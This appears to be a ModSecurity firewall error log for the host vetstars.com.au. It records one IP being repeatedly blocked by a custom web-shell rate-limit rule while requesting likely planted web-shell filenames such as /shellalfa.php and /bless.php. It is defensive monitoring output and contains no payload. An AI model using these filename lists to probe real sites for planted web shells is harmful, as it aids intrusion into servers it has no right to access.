[Sun Dec 21 19:59:39.085379 2025] [:error] [pid 59158:tid 59184] [client 20.2.26.82:1881] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aUfhK47NvyNF8ab5VgUcmQAAANg"]
[Sun Dec 21 19:59:39.526631 2025] [:error] [pid 59070:tid 59136] [client 20.2.26.82:1940] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aUfhK33dhXne9KX1kgIiKAAAAIg"]
[Sun Dec 21 19:59:39.886846 2025] [:error] [pid 59068:tid 59124] [client 20.2.26.82:1960] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/noe.php"] [unique_id "aUfhKxmLyLqWUlrjwydtIwAAAFc"]
[Sun Dec 21 19:59:40.248359 2025] [:error] [pid 59068:tid 59121] [client 20.2.26.82:1980] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/noe.php"] [unique_id "aUfhLBmLyLqWUlrjwydtJgAAAFQ"]
[Sun Dec 21 19:59:40.667307 2025] [:error] [pid 59158:tid 59176] [client 20.2.26.82:1801] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/noe.php"] [unique_id "aUfhLI7NvyNF8ab5VgUcoAAAANA"]
[Sun Dec 21 19:59:41.043036 2025] [:error] [pid 59068:tid 59105] [client 20.2.26.82:1958] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/noe.php"] [unique_id "aUfhLRmLyLqWUlrjwydtKwAAAEQ"]
[Sun Dec 21 19:59:41.407054 2025] [:error] [pid 59067:tid 59079] [client 20.2.26.82:1794] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aUfhLctpsOP1NfIK_qJA_QAAAAU"]
[Sun Dec 21 19:59:41.951444 2025] [:error] [pid 59158:tid 59184] [client 20.2.26.82:1830] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aUfhLY7NvyNF8ab5VgUcpQAAANg"]
[Sun Dec 21 19:59:42.385473 2025] [:error] [pid 59070:tid 59149] [client 20.2.26.82:1883] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aUfhLn3dhXne9KX1kgIiMgAAAJU"]
[Sun Dec 21 19:59:42.779484 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:2018] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aUfhLn3dhXne9KX1kgIiNAAAAJQ"]
[Sun Dec 21 19:59:43.160134 2025] [:error] [pid 59158:tid 59178] [client 20.2.26.82:1906] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellalfa.php"] [unique_id "aUfhL47NvyNF8ab5VgUcpwAAANI"]
[Sun Dec 21 19:59:43.537806 2025] [:error] [pid 59158:tid 59173] [client 20.2.26.82:1915] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellalfa.php"] [unique_id "aUfhL47NvyNF8ab5VgUcqwAAAM0"]
[Sun Dec 21 19:59:43.887738 2025] [:error] [pid 59070:tid 59141] [client 20.2.26.82:1955] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellalfa.php"] [unique_id "aUfhL33dhXne9KX1kgIiOQAAAI0"]
[Sun Dec 21 19:59:44.220390 2025] [:error] [pid 59158:tid 59167] [client 20.2.26.82:1803] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellalfa.php"] [unique_id "aUfhMI7NvyNF8ab5VgUcrQAAAMc"]
[Sun Dec 21 19:59:44.614254 2025] [:error] [pid 59068:tid 59122] [client 20.2.26.82:1890] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/te.php"] [unique_id "aUfhMBmLyLqWUlrjwydtNwAAAFU"]
[Sun Dec 21 19:59:44.998897 2025] [:error] [pid 59067:tid 59092] [client 20.2.26.82:1863] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/te.php"] [unique_id "aUfhMMtpsOP1NfIK_qJBCgAAABI"]
[Sun Dec 21 19:59:45.333547 2025] [:error] [pid 59158:tid 59163] [client 20.2.26.82:1993] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/te.php"] [unique_id "aUfhMY7NvyNF8ab5VgUcsQAAAMM"]
[Sun Dec 21 19:59:45.729941 2025] [:error] [pid 59158:tid 59178] [client 20.2.26.82:1875] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/te.php"] [unique_id "aUfhMY7NvyNF8ab5VgUcsgAAANI"]
[Sun Dec 21 19:59:46.060569 2025] [:error] [pid 59158:tid 59164] [client 20.2.26.82:1896] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aUfhMo7NvyNF8ab5VgUctAAAAMQ"]
[Sun Dec 21 19:59:46.433868 2025] [:error] [pid 59158:tid 59173] [client 20.2.26.82:1847] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aUfhMo7NvyNF8ab5VgUctQAAAM0"]
[Sun Dec 21 19:59:46.766814 2025] [:error] [pid 59158:tid 59177] [client 20.2.26.82:1868] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aUfhMo7NvyNF8ab5VgUctwAAANE"]
[Sun Dec 21 19:59:47.133464 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:1841] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aUfhM33dhXne9KX1kgIiQwAAAJQ"]
[Sun Dec 21 19:59:47.598200 2025] [:error] [pid 59158:tid 59181] [client 20.2.26.82:1891] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aUfhM47NvyNF8ab5VgUcugAAANU"]
[Sun Dec 21 19:59:48.023438 2025] [:error] [pid 59068:tid 59116] [client 20.2.26.82:1976] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aUfhNBmLyLqWUlrjwydtPwAAAE8"]
[Sun Dec 21 19:59:48.417946 2025] [:error] [pid 59068:tid 59110] [client 20.2.26.82:1874] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aUfhNBmLyLqWUlrjwydtQgAAAEk"]
[Sun Dec 21 19:59:48.829490 2025] [:error] [pid 59070:tid 59149] [client 20.2.26.82:1798] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aUfhNH3dhXne9KX1kgIiSgAAAJU"]
[Sun Dec 21 19:59:49.365263 2025] [:error] [pid 59067:tid 59092] [client 20.2.26.82:1741] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cccc.php"] [unique_id "aUfhNctpsOP1NfIK_qJBEAAAABI"]
[Sun Dec 21 19:59:49.762269 2025] [:error] [pid 59068:tid 59122] [client 20.2.26.82:1792] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cccc.php"] [unique_id "aUfhNRmLyLqWUlrjwydtRAAAAFU"]
[Sun Dec 21 19:59:50.117331 2025] [:error] [pid 59068:tid 59112] [client 20.2.26.82:1779] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cccc.php"] [unique_id "aUfhNhmLyLqWUlrjwydtRgAAAEs"]
[Sun Dec 21 19:59:50.594712 2025] [:error] [pid 59067:tid 59090] [client 20.2.26.82:1871] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cccc.php"] [unique_id "aUfhNstpsOP1NfIK_qJBFAAAABA"]
[Sun Dec 21 19:59:50.967628 2025] [:error] [pid 59068:tid 59111] [client 20.2.26.82:1795] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aUfhNhmLyLqWUlrjwydtSQAAAEo"]
[Sun Dec 21 19:59:51.417606 2025] [:error] [pid 59068:tid 59109] [client 20.2.26.82:1866] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aUfhNxmLyLqWUlrjwydtTAAAAEg"]
[Sun Dec 21 19:59:51.809849 2025] [:error] [pid 59068:tid 59123] [client 20.2.26.82:1944] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aUfhNxmLyLqWUlrjwydtTQAAAFY"]
[Sun Dec 21 19:59:52.190984 2025] [:error] [pid 59068:tid 59101] [client 20.2.26.82:1753] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aUfhOBmLyLqWUlrjwydtUAAAAEA"]
[Sun Dec 21 19:59:52.600112 2025] [:error] [pid 59067:tid 59091] [client 20.2.26.82:1743] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUfhOMtpsOP1NfIK_qJBFgAAABE"]
[Sun Dec 21 19:59:53.036982 2025] [:error] [pid 59158:tid 59168] [client 20.2.26.82:1799] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUfhOY7NvyNF8ab5VgUcwAAAAMg"]
[Sun Dec 21 19:59:53.420710 2025] [:error] [pid 59067:tid 59098] [client 20.2.26.82:1810] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUfhOctpsOP1NfIK_qJBGgAAABg"]
[Sun Dec 21 19:59:53.934021 2025] [:error] [pid 59067:tid 59086] [client 20.2.26.82:1819] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUfhOctpsOP1NfIK_qJBHAAAAAw"]
[Sun Dec 21 19:59:54.370854 2025] [:error] [pid 59068:tid 59111] [client 20.2.26.82:2045] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aUfhOhmLyLqWUlrjwydtWAAAAEo"]
[Sun Dec 21 19:59:54.724491 2025] [:error] [pid 59067:tid 59076] [client 20.2.26.82:1839] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aUfhOstpsOP1NfIK_qJBHwAAAAI"]
[Sun Dec 21 20:00:37.828852 2025] [:error] [pid 59067:tid 59095] [client 20.2.26.82:1870] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aUfhZctpsOP1NfIK_qJBmQAAABU"]
[Sun Dec 21 20:00:38.120009 2025] [:error] [pid 59158:tid 59171] [client 20.2.26.82:2005] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aUfhZo7NvyNF8ab5VgUdZAAAAMs"]
[Sun Dec 21 20:00:38.464315 2025] [:error] [pid 59067:tid 59086] [client 20.2.26.82:1760] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aUfhZstpsOP1NfIK_qJBnAAAAAw"]
[Sun Dec 21 20:00:38.785969 2025] [:error] [pid 59158:tid 59177] [client 20.2.26.82:1937] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aUfhZo7NvyNF8ab5VgUdaAAAANE"]
[Sun Dec 21 20:00:39.111831 2025] [:error] [pid 59158:tid 59180] [client 20.2.26.82:1910] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aUfhZ47NvyNF8ab5VgUdaQAAANQ"]
[Sun Dec 21 20:00:39.405340 2025] [:error] [pid 59158:tid 59169] [client 20.2.26.82:1853] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aUfhZ47NvyNF8ab5VgUdagAAAMk"]
[Sun Dec 21 20:00:39.768482 2025] [:error] [pid 59067:tid 59083] [client 20.2.26.82:1860] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aUfhZ8tpsOP1NfIK_qJBnQAAAAk"]
[Sun Dec 21 20:00:40.077679 2025] [:error] [pid 59068:tid 59110] [client 20.2.26.82:1902] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aUfhaBmLyLqWUlrjwydt7AAAAEk"]
[Sun Dec 21 20:00:40.394452 2025] [:error] [pid 59070:tid 59130] [client 20.2.26.82:1825] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aUfhaH3dhXne9KX1kgIjggAAAII"]
[Sun Dec 21 20:00:40.736874 2025] [:error] [pid 59068:tid 59108] [client 20.2.26.82:1762] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aUfhaBmLyLqWUlrjwydt8AAAAEc"]
[Sun Dec 21 20:00:41.062212 2025] [:error] [pid 59158:tid 59178] [client 20.2.26.82:1889] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aUfhaY7NvyNF8ab5VgUdcwAAANI"]
[Sun Dec 21 20:00:41.364764 2025] [:error] [pid 59070:tid 59146] [client 20.2.26.82:1815] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aUfhaX3dhXne9KX1kgIjhQAAAJI"]
[Sun Dec 21 20:00:41.665215 2025] [:error] [pid 59068:tid 59121] [client 20.2.26.82:1732] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/static/as.php"] [unique_id "aUfhaRmLyLqWUlrjwydt8QAAAFQ"]
[Sun Dec 21 20:00:41.981134 2025] [:error] [pid 59068:tid 59103] [client 20.2.26.82:1805] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/static/as.php"] [unique_id "aUfhaRmLyLqWUlrjwydt9QAAAEI"]
[Sun Dec 21 20:00:42.287199 2025] [:error] [pid 59067:tid 59098] [client 20.2.26.82:1818] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/static/as.php"] [unique_id "aUfhastpsOP1NfIK_qJBoAAAABg"]
[Sun Dec 21 20:00:42.608701 2025] [:error] [pid 59158:tid 59183] [client 20.2.26.82:1764] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/static/as.php"] [unique_id "aUfhao7NvyNF8ab5VgUdeAAAANc"]
